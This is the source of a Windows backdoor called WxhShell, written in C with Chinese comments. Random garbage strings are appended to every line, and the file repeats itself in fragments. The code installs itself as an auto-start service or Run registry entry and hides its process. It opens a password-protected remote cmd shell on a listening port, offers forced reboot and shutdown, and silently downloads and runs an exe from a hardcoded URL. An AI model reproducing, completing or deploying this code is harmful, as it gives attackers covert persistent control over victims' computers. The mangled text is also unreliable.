    if(Boot(SHUTDOWN)) iU~xb ?,,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YMVmpcz  
    else { 6{I6'+K~  
    closesocket(wsh); ;U#=H9_  
    ExitThread(0); ^oR qu  
    } 4'td6F  
    break; & Zjs  
    } 'K\H$<CJ  
  // 获取shell g_rk_4]  
  case 's': { Eqi;m,)  
    CmdShell(wsh); pG22Nx  
    closesocket(wsh); JvNd'u)Z<  
    ExitThread(0); 3p]\l ]=  
    break; /qFY $vj  
  } p)VMYu  
  // 退出 E{}J-_oS45  
  case 'x': { ^Jw=5 ImG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t{,e{oZx  
    CloseIt(wsh); o#WECs>  
    break; M(I%QD  
    } )G-u;1rd  
  // 离开 ;@ G^eQ  
  case 'q': { egH,7f(yP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B>c2 *+Bk  
    closesocket(wsh); S(/ ^_Y  
    WSACleanup(); +VL:O]`DJ  
    exit(1); )l.AsfW%  
    break; ia,5=SKJ  
        } U;0:@.q  
  } D5:|CMQ  
  } DK20}&RQ  
:4)(Qa(  
  // 提示信息 n5)ml)m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ti7 @{7>  
} PPh<9$1\g  
  } !tb!%8{~  
|oSqy  
  return; gyegdky3  
} ryqu2>(   
hj{)6dBX%  
// shell模块句柄 bYqv)_8  
int CmdShell(SOCKET sock) ;+bF4r@:+  
{ #m;o)KkH$r  
STARTUPINFO si; XN{WxcZ  
ZeroMemory(&si,sizeof(si)); u6%\ZK._ \  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /qMiv7m~Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {&L^|X  
PROCESS_INFORMATION ProcessInfo; w`fbUh6/  
char cmdline[]="cmd"; g<7Aln}Nl\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ia-ht>F*;  
  return 0; :4\%a4{Ie  
} ";7/8(LBZ  
f=.!/e70  
// 自身启动模式 (F9e.QyWb  
int StartFromService(void) D!ASO]  
{ #,97 ]  
typedef struct R_>.O?U4  
{ hwA&SS  
  DWORD ExitStatus; KP 6vb@(6  
  DWORD PebBaseAddress; q8n@fi6  
  DWORD AffinityMask; Bs|Xq'1M!;  
  DWORD BasePriority; %yd(=%)fMB  
  ULONG UniqueProcessId; y4$$*oai&  
  ULONG InheritedFromUniqueProcessId; Z1:<i*6>D  
}   PROCESS_BASIC_INFORMATION; $F[+H Wf  
4O.R=c2}7>  
PROCNTQSIP NtQueryInformationProcess; PgA1:i&'  
Vw.)T/B_D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G B"Orm.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !"&-k:|g  
bC98<if  
  HANDLE             hProcess; agE-,  
  PROCESS_BASIC_INFORMATION pbi; |=KzQY|u  
f=VlO d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6 EfBz  
  if(NULL == hInst ) return 0; fK *l?Hr  
s:_a.4&Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g$zGiqzMK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H=w):kL|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vVIN D  
J*Ie# :J]  
  if (!NtQueryInformationProcess) return 0; +6$ -"lf  
sjb.Ezoq3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lusd kc7  
  if(!hProcess) return 0; R MOs1<D  
l9OpaOVfJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6 VuyKt  
,>za|y<n  
  CloseHandle(hProcess); }0Uh<v@  
/8nUecr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /xcXd+k]  
if(hProcess==NULL) return 0; e6mm;@F>  
D$>&K&  
HMODULE hMod; *wY+yoj  
char procName[255]; #:P$a%V  
unsigned long cbNeeded; ngmC~l*,  
d:>'c=y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uK`gveY  
>d&0a:  
  CloseHandle(hProcess); D _[NzCv<-  
7Z~JuTIZ  
if(strstr(procName,"services")) return 1; // 以服务启动 *9xxX,QT8Q  
<2L,+  
  return 0; // 注册表启动 %{pjC7j#  
} 68(^*  
cruBJZr*  
// 主模块 =:zPT;K  
int StartWxhshell(LPSTR lpCmdLine) @YQ*a4`  
{ HFTeG4R  
  SOCKET wsl; zi_$roq=)  
BOOL val=TRUE; ARt{ 2|  
  int port=0; !8T04988j  
  struct sockaddr_in door; B|yz~wu S  
hN~H8.g  
  if(wscfg.ws_autoins) Install(); '+ZJf&Ox  
 8y  
port=atoi(lpCmdLine); *o\AP([@  
>~]|o   
if(port<=0) port=wscfg.ws_port; a5saN5)H  
{ dh,sbl  
  WSADATA data; H&%oHyK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &4sz:y4T>  
e`H>}O/ai  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O[eU{ ;P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Zp5y@ V8  
  door.sin_family = AF_INET; US3)+6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9I2&Vx=DSt  
  door.sin_port = htons(port); 0#Pa;(  
],[<^=|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SZLugyZ2Y  
closesocket(wsl); m@+QC$6S  
return 1; @: =vK?8L  
} 8~t8^eBg  
27+faR  
  if(listen(wsl,2) == INVALID_SOCKET) { 7l/lY-zO  
closesocket(wsl); !lL `L \  
return 1; 3c7i8b$  
} Ba5*]VGG  
  Wxhshell(wsl); 4c{j9mh  
  WSACleanup(); ]0 = |?n$7  
o<txm?+N  
return 0; [KHlApL  
s]6;*mI2  
} "crp/Bj?  
2Xk;]-T!  
// 以NT服务方式启动 r|*_KQq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9` UbsxFl  
{ @t1pB]O:  
DWORD   status = 0; [7~AWZU3  
  DWORD   specificError = 0xfffffff; J$5 G8<d>  
?Js4 \X!uJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MBw;+'93qf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G 4~@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VF";p^  
  serviceStatus.dwWin32ExitCode     = 0; L(cKyg[R  
  serviceStatus.dwServiceSpecificExitCode = 0; RSbq<f>BFo  
  serviceStatus.dwCheckPoint       = 0; |<,0*2  
  serviceStatus.dwWaitHint       = 0; ti6X=@ P:  
,Eh]Zv1 AE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9QB,%K_:4  
  if (hServiceStatusHandle==0) return; _'1 ]CoR  
9ZU^([@D  
status = GetLastError(); f=Pn,.>tIz  
  if (status!=NO_ERROR) _deEs5i  
{ X$1YvYsID  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~|Ln9f-g  
    serviceStatus.dwCheckPoint       = 0; H25Qx;(dTk  
    serviceStatus.dwWaitHint       = 0; CueC![pj  
    serviceStatus.dwWin32ExitCode     = status; Sy1O;RTn`  
    serviceStatus.dwServiceSpecificExitCode = specificError; |[mmEYc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <%% )C>l  
    return; _h  \L6.  
  } &Wb"/Hn2  
"u^vBd[}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .U@u |  
  serviceStatus.dwCheckPoint       = 0; R"JXWw  
  serviceStatus.dwWaitHint       = 0; 3@Fa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <]KQ$8dtD  
} cLwnV.  
mIDVN  
// 处理NT服务事件,比如:启动、停止 <fDT/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^0cbN[~/ns  
{ D_JGbNigA  
switch(fdwControl) {47l1wV]  
{ EK[J!~  
case SERVICE_CONTROL_STOP: `[#id@Z1  
  serviceStatus.dwWin32ExitCode = 0; ]1>R8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TI l 'Z7  
  serviceStatus.dwCheckPoint   = 0; 4@Db $PHs  
  serviceStatus.dwWaitHint     = 0; U*\K<fw   
  { l4r >#n\yj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ];6955I!  
  } 0asP,)i  
  return; {D..(f1*u  
case SERVICE_CONTROL_PAUSE: Ri_2@U-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~CV.Ci.dG  
  break; :;+_<pk  
case SERVICE_CONTROL_CONTINUE: ]dJ"_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~&RrlFh  
  break; ?<W|Ya  
case SERVICE_CONTROL_INTERROGATE: !vJ$$o6#  
  break; <bo)p6S&  
}; v6=%KXSF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o8<~zeI  
} KN657 |f  
'NCqI  
// 标准应用程序主函数 >lQa"F=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D]*|Zmr+}  
{ 5VOw}{Pt  
: -#w  
// 获取操作系统版本 uF}dEDB|;  
OsIsNt=GetOsVer(); S ;rd0+J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! M CV@5$  
uo2k  
  // 从命令行安装 :*|Ua%L_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4TPdq&';C:  
Op]*wwI*h  
  // 下载执行文件 n~\; +U  
if(wscfg.ws_downexe) { 5XHejHn>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =j- ,yxBvJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); <7rj,O1=  
} =$gBWS  
Y7p@NG&1q  
if(!OsIsNt) { & ck}3\sQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 #;^UW  
HideProc(); _z BfNz9D  
StartWxhshell(lpCmdLine); Q Kr/  
} ^JMG'@x  
else |,oLZC Na  
  if(StartFromService()) T!y 9v5  
  // 以服务方式启动 d^6-P  R_  
  StartServiceCtrlDispatcher(DispatchTable); X-<,zRM  
else pKq[F*Lut  
  // 普通方式启动 4XER 7c  
  StartWxhshell(lpCmdLine); 1?|"33\03R  
%(khE-SW  
return 0; fw,,cu`YA  
} m{RXt  
%} zkmEY.e  
4D<C;>*/b  
O<L=N-  
=========================================== U*Y]cohh  
2/V%jS[4#y  
|T/OOIA=sI  
a5 ZXrWv  
?uL-qsU  
H.;}%id  
" 3ddw'b'aQ  
Wj|W B*B  
#include <stdio.h> =0EKrG  
#include <string.h> O9By5j 4  
#include <windows.h> VPT?z  
#include <winsock2.h> wS9V@  
#include <winsvc.h> rYdNn0mh k  
#include <urlmon.h> "xTVu57Z[  
TS+jDs  
#pragma comment (lib, "Ws2_32.lib") o jxK8_kl  
#pragma comment (lib, "urlmon.lib") wH@S$WT  
Yu)GV7\2  
#define MAX_USER   100 // 最大客户端连接数 {X?1}5ry  
#define BUF_SOCK   200 // sock buffer _wb]tE ~g  
#define KEY_BUFF   255 // 输入 buffer W&9 qgbO]  
,qp8Rg|3j  
#define REBOOT     0   // 重启 3]JJCaf  
#define SHUTDOWN   1   // 关机 ."BXA8c;A  
juF=ZW%i  
#define DEF_PORT   5000 // 监听端口 5&EBU l}  
3$YbEl@#  
#define REG_LEN     16   // 注册表键长度 0<@['W}G  
#define SVC_LEN     80   // NT服务名长度 \rUKP""m  
8VQ!&^9!U#  
// 从dll定义API 5;/q[oXI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }2RbX,0l9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E+XS7':I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LB]3-FsU+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K O\HH  
+l)t5Mg\  
// wxhshell配置信息 JS m7-p|E  
struct WSCFG { 0H4|}+e  
  int ws_port;         // 监听端口 e4Ibj/  
  char ws_passstr[REG_LEN]; // 口令 Pm2LB<qS  
  int ws_autoins;       // 安装标记, 1=yes 0=no l\AdL$$Mb  
  char ws_regname[REG_LEN]; // 注册表键名 Uq'W<.v 5  
  char ws_svcname[REG_LEN]; // 服务名 S{e3aqT#N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9<3}zwJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dg#Pb@7a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C|Gk}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VV$#<D<)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _MIheCvV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :'<;]~f  
/P9fcNP{y  
}; B;8Zlm9  
O-p`9(_m  
// default Wxhshell configuration DN=W2MEfc  
struct WSCFG wscfg={DEF_PORT, =kwz3Wv  
    "xuhuanlingzhe", l(Hz9  
    1, H"w;~;h  
    "Wxhshell", ;Qt/(/  
    "Wxhshell", ](s5 ;ta   
            "WxhShell Service", .K4)#oC  
    "Wrsky Windows CmdShell Service", T`]%$$1s  
    "Please Input Your Password: ", _qf~ hhi  
  1, `0U\|I#  
  "http://www.wrsky.com/wxhshell.exe", WO%pX+PoH  
  "Wxhshell.exe" *mj=kJ7(  
    }; |LLpG37_  
ipGxi[Vav  
// 消息定义模块 ( ?(gz#-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +U ziO#D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (m Yi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /=za m3kd  
char *msg_ws_ext="\n\rExit."; K0vS  
char *msg_ws_end="\n\rQuit."; YhRy C*b  
char *msg_ws_boot="\n\rReboot..."; [ t8]'RI%  
char *msg_ws_poff="\n\rShutdown..."; $i<+O,@-  
char *msg_ws_down="\n\rSave to "; Q{=r9&&  
38X{>*  
char *msg_ws_err="\n\rErr!"; =w!9:I&a0  
char *msg_ws_ok="\n\rOK!"; SnUR?k1  
eF7I 5k4  
char ExeFile[MAX_PATH]; 7y30TU  
int nUser = 0; 5/ U{b5  
HANDLE handles[MAX_USER]; [8Z#HjhQ  
int OsIsNt; ;m.6 ~A  
eTgtt-;VR  
SERVICE_STATUS       serviceStatus; Ug0c0z!b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,{(XT7hr  
{*8G<&  
// 函数声明 WB'1_a  
int Install(void); {=d}04i)E"  
int Uninstall(void); 2auJp .  
int DownloadFile(char *sURL, SOCKET wsh); lZIJ[.  
int Boot(int flag); 8"d??3ZXJ  
void HideProc(void); t&x\@p9  
int GetOsVer(void); 3jW&S  
int Wxhshell(SOCKET wsl); 4|cRYZj5  
void TalkWithClient(void *cs); g#6R(  
int CmdShell(SOCKET sock); FaWc:GsfB  
int StartFromService(void); #>G:6'r  
int StartWxhshell(LPSTR lpCmdLine); /!>OWh*~  
4IY|<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]3 GO_tL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?9eiT:2  
zNo"P[J8  
// 数据结构和表定义 %{V7 |Azt  
SERVICE_TABLE_ENTRY DispatchTable[] = Fo ;J3<U)  
{  yoe@]c=  
{wscfg.ws_svcname, NTServiceMain}, =5^1Bl  
{NULL, NULL} 2-UD^;0  
}; $g VbeQ  
>;j&]]-&  
// 自我安装 W79.Nj2`  
int Install(void) |${ImP  
{ :6(@P1vA 6  
  char svExeFile[MAX_PATH]; 47{5{/B-  
  HKEY key; {/5aF_0D.  
  strcpy(svExeFile,ExeFile);  o4yl3o  
x7gd6"10^  
// 如果是win9x系统,修改注册表设为自启动 (w"(RM~  
if(!OsIsNt) { WQ:Y NmQ1p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @}PX:*c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eAP 8!  
  RegCloseKey(key); z"QtP[_m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PC255  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c,)]!{c  
  RegCloseKey(key); 2$t%2>1>@  
  return 0; Gi@c`lRd1  
    } Jwj=a1I 53  
  } 3gJZlH5IR  
} bV'r9&[_6  
else { tfm3IX  
2g_mQT  
// 如果是NT以上系统,安装为系统服务 74 )G.!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tu}EAr  
if (schSCManager!=0) =\)zb'\=d  
{ };P=|t(r  
  SC_HANDLE schService = CreateService rxy5Nrue  
  ( >P}XCAU  
  schSCManager, <RC%<  
  wscfg.ws_svcname, rhaq!s38:  
  wscfg.ws_svcdisp, P&[&Dj  
  SERVICE_ALL_ACCESS, (OwGp3g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w<]-~`K  
  SERVICE_AUTO_START, 1!U:M8T|  
  SERVICE_ERROR_NORMAL, jyyig%  
  svExeFile, b9T6JS j  
  NULL, DYIp2-K  
  NULL, hz<TjWXv'  
  NULL, ;P8% yf  
  NULL, `YZl2c<w*  
  NULL tGXH)=K  
  ); O/(vimx.#F  
  if (schService!=0) c`S+>:  
  { v,~f G>Y}  
  CloseServiceHandle(schService); EASmB  
  CloseServiceHandle(schSCManager); cAVdH{$"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q 9f5}  
  strcat(svExeFile,wscfg.ws_svcname); "8U=0a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BKE?o^03  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c (5XT[Tw  
  RegCloseKey(key); :.a184ax  
  return 0; %WmTG }L)  
    } <*u^8lCA  
  } @;hdZLG]`&  
  CloseServiceHandle(schSCManager); rHOhi|+  
} `e3$jy@  
} JwWxM3(%t  
T9kc(i'  
return 1; 9CN'2 9c  
} B` +, 8  
6 A#xFPYY{  
// 自我卸载 suLC7x`Z  
int Uninstall(void) JqYa~6 C  
{ -^7 $HD  
  HKEY key; Tj<B;f!u  
7D'D7=Z.  
if(!OsIsNt) { 3a ZS1]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mtE+}b@(!&  
  RegDeleteValue(key,wscfg.ws_regname); yFd94 2  
  RegCloseKey(key); v Lq%k+D#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R(P(G;#j  
  RegDeleteValue(key,wscfg.ws_regname); 0sme0"Sl  
  RegCloseKey(key); 9pS:#hg  
  return 0; i -@V  
  } R@_3?Z!W=  
} sD{Wc%5  
} kw2d< I$]  
else { 1_c%p#?K  
GM)q\Hx{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NNE(jJ`/  
if (schSCManager!=0) u.?jWvcv  
{ 3qH1\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O1DUBRli!q  
  if (schService!=0) yxf #@Je"  
  { $bZ-b1{c C  
  if(DeleteService(schService)!=0) { "f~OC<GdYs  
  CloseServiceHandle(schService); b9-3  
  CloseServiceHandle(schSCManager); mU]^PC2[  
  return 0; A9"!=/~  
  } =i Dd{$  
  CloseServiceHandle(schService); cc}#-HKR[  
  } 9zCuVUcd$.  
  CloseServiceHandle(schSCManager); 1 Qz@  
} D~M R)z_p~  
} ORWi+H|  
]A#:Uc5  
return 1; MOp "kA  
} >NV1#\5_R@  
oEFo7X`t  
// 从指定url下载文件 )<_qTd0`  
int DownloadFile(char *sURL, SOCKET wsh) 2*Pk1 vrI  
{ u5KAwMw%Q  
  HRESULT hr; Iij$ce`nx  
char seps[]= "/"; O2="'w'kR  
char *token; :7dc;WdM  
char *file; '}bmDb*  
char myURL[MAX_PATH]; &o1k_!25  
char myFILE[MAX_PATH]; 8xh x*A  
A2A_F|f  
strcpy(myURL,sURL); v.u 5%  
  token=strtok(myURL,seps); j*4:4B%  
  while(token!=NULL) 5tLb o  
  { |Sua4~yL(  
    file=token; =#<bB)59  
  token=strtok(NULL,seps); b^ [ z'  
  }  ?<8c  
({!H ()  
GetCurrentDirectory(MAX_PATH,myFILE); /<(-lbq,  
strcat(myFILE, "\\"); KHJ wCv  
strcat(myFILE, file); h/8p2Mrqi  
  send(wsh,myFILE,strlen(myFILE),0); VhAJ1[k4!  
send(wsh,"...",3,0); pQC|_T#u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K~S*<?  
  if(hr==S_OK) H~>8q~o]  
return 0; 9nFWJn  
else KH=3HN}  
return 1; $\~cWpv  
w1VYU>  
} "5sA&^_#_  
T.-tV[2  
// 系统电源模块 zn_#}}e;G  
int Boot(int flag) 7-~)/7L  
{ ~%f$}{  
  HANDLE hToken; k#8`996P  
  TOKEN_PRIVILEGES tkp; bw7gL\*  
u7Ix7`V  
  if(OsIsNt) { VEn3b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vX}w_Jj>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <8Nr;96IA  
    tkp.PrivilegeCount = 1; 8pftc)k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _VmXs&4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bQwG"N  
if(flag==REBOOT) { E'(nJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZU+_nWnl  
  return 0; p|dn&<kd  
} aIrM-c8.O  
else { b0f6p>~q^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C8|#  
  return 0; :eJJL,v  
} [/VpvQ'  
  } X-,oL.:c  
  else { @7.7+blS"H  
if(flag==REBOOT) { r3-<~k-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^3H:I8gRCl  
  return 0; .]JIo&>5  
} T{"Ur :p  
else { n~}[/ly  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k)X\z@I'  
  return 0; $N;J)  
} d%epM5  
} cs9h\]ZA  
s8P3H|0.-  
return 1; hlze]d?z  
} bqp^\yu-E  
$8AW  
// win9x进程隐藏模块 $|3zsi2  
void HideProc(void) 84WcaH  
{ 6-)WXJ@V  
-"i $^Q`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rXE0jTf:a  
  if ( hKernel != NULL ) <p/2hHfiD  
  {  .P")S|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mU?~s7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4dLnX3 v  
    FreeLibrary(hKernel); q5'G]j{,Z  
  } pPo(nH|<  
?_A[E]/H  
return; d!Gy#<H  
} ]7yxXg  
3(,m(+J[S  
// 获取操作系统版本 y,ub*-:  
int GetOsVer(void) k`|E&+og  
{ '<uM\v^k  
  OSVERSIONINFO winfo; o|c6=77043  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vf+z0df  
  GetVersionEx(&winfo); Hs:zfvD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [[6" qq  
  return 1; A|:+c*7]  
  else RjPkH$u'Pj  
  return 0; 7wPI)]$  
} nLG)>L  
``$$yS~d};  
// 客户端句柄模块 j2u'5kJ G  
int Wxhshell(SOCKET wsl) 5y\35kT'  
{ 7Hgn/b[?b  
  SOCKET wsh; rwP)TJh"  
  struct sockaddr_in client; % -AcA  
  DWORD myID; wQjYH!u,YZ  
#\QW <I#/  
  while(nUser<MAX_USER) <g;,or#$  
{ e!gNd>b {  
  int nSize=sizeof(client); _X;,,VEV!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZeU){CB  
  if(wsh==INVALID_SOCKET) return 1; 5p S$rf  
pUF JQ*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ' -Cx-=  
if(handles[nUser]==0) &ZkJ,-  
  closesocket(wsh); lX"m |W  
else 2y!aXk\#C  
  nUser++; ^v cnDi  
  } GA[D@Wy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UI U:^g0  
/HhA2 (g%  
  return 0; fKqr$59>  
} pV  u[  
p5vQ.Ni*\-  
// 关闭 socket L[Z^4l_!  
void CloseIt(SOCKET wsh) ex1!7A!}g  
{ N|2d9E  
closesocket(wsh); a{^z= =  
nUser--; ]w _&%mB  
ExitThread(0); I]+ zG  
} .FgeAxflP  
vN],9 q  
// 客户端请求句柄 f'(F'TE  
void TalkWithClient(void *cs) 3'`&D/n  
{ Y$n+\K  
r,0D I  
  SOCKET wsh=(SOCKET)cs; %aK[Yvo6  
  char pwd[SVC_LEN]; Xy 4k;+  
  char cmd[KEY_BUFF]; )V[j~uOU)]  
char chr[1]; )$9w Kk\F  
int i,j; .d^8?vo  
0=6mb]VUi=  
  while (nUser < MAX_USER) { 1t &_]q_  
g|?}a]G  
if(wscfg.ws_passstr) { hLgX0QV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m?B=?;B9#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fs $FR-x  
  //ZeroMemory(pwd,KEY_BUFF); |gP)lR  
      i=0; *P/A&"i[E  
  while(i<SVC_LEN) { l9=Ka{$^*  
;w"h n*  
  // 设置超时 bO/r1W  
  fd_set FdRead; 8~-TN1H  
  struct timeval TimeOut; CkNR{?S  
  FD_ZERO(&FdRead); qp6'n&^&  
  FD_SET(wsh,&FdRead); H%U  
  TimeOut.tv_sec=8; t`|Rn9-  
  TimeOut.tv_usec=0; @YH>|{S&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4_j_!QH87  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  ov,  
V'W*'wo   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ro<w8V9.a  
  pwd=chr[0]; p.g>+7  
  if(chr[0]==0xd || chr[0]==0xa) { "i/GzD7`n  
  pwd=0; hDW_a y4  
  break; $#s5y~z  
  } sGtxqnX:J  
  i++; ?;`GCE  
    } JcmMbd&B  
36+/MvIT  
  // 如果是非法用户,关闭 socket R(^Sse  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x/M$_E<G  
} e4Y+u8gT  
=UK:83R(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E2w-b^,5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )rj!/%  
5~DKx7P!Z  
while(1) { L3wj vq^  
]oSx]R>{f  
  ZeroMemory(cmd,KEY_BUFF); YQ d($  
fcF|m5  
      // 自动支持客户端 telnet标准   C za }cF  
  j=0; k`N*_/(|n  
  while(j<KEY_BUFF) { ">1wPq&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M *3G  
  cmd[j]=chr[0]; %pOz%v~  
  if(chr[0]==0xa || chr[0]==0xd) { SWI\;:k  
  cmd[j]=0; dazML|1ow  
  break; 6*S/frE  
  } *#}=>, v  
  j++; \ { QH^  
    } f~P YK  
Khi6z&B  
  // 下载文件 P}gtJ;  
  if(strstr(cmd,"http://")) { vjm? X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,JK0N_=  
  if(DownloadFile(cmd,wsh)) R+uZi~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3T]cDVQ_  
  else We}9'X}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FN!?o:|(  
  } L{>rN`{  
  else { ~?b1x+soV  
,.*D f)+  
    switch(cmd[0]) { yY UAH-  
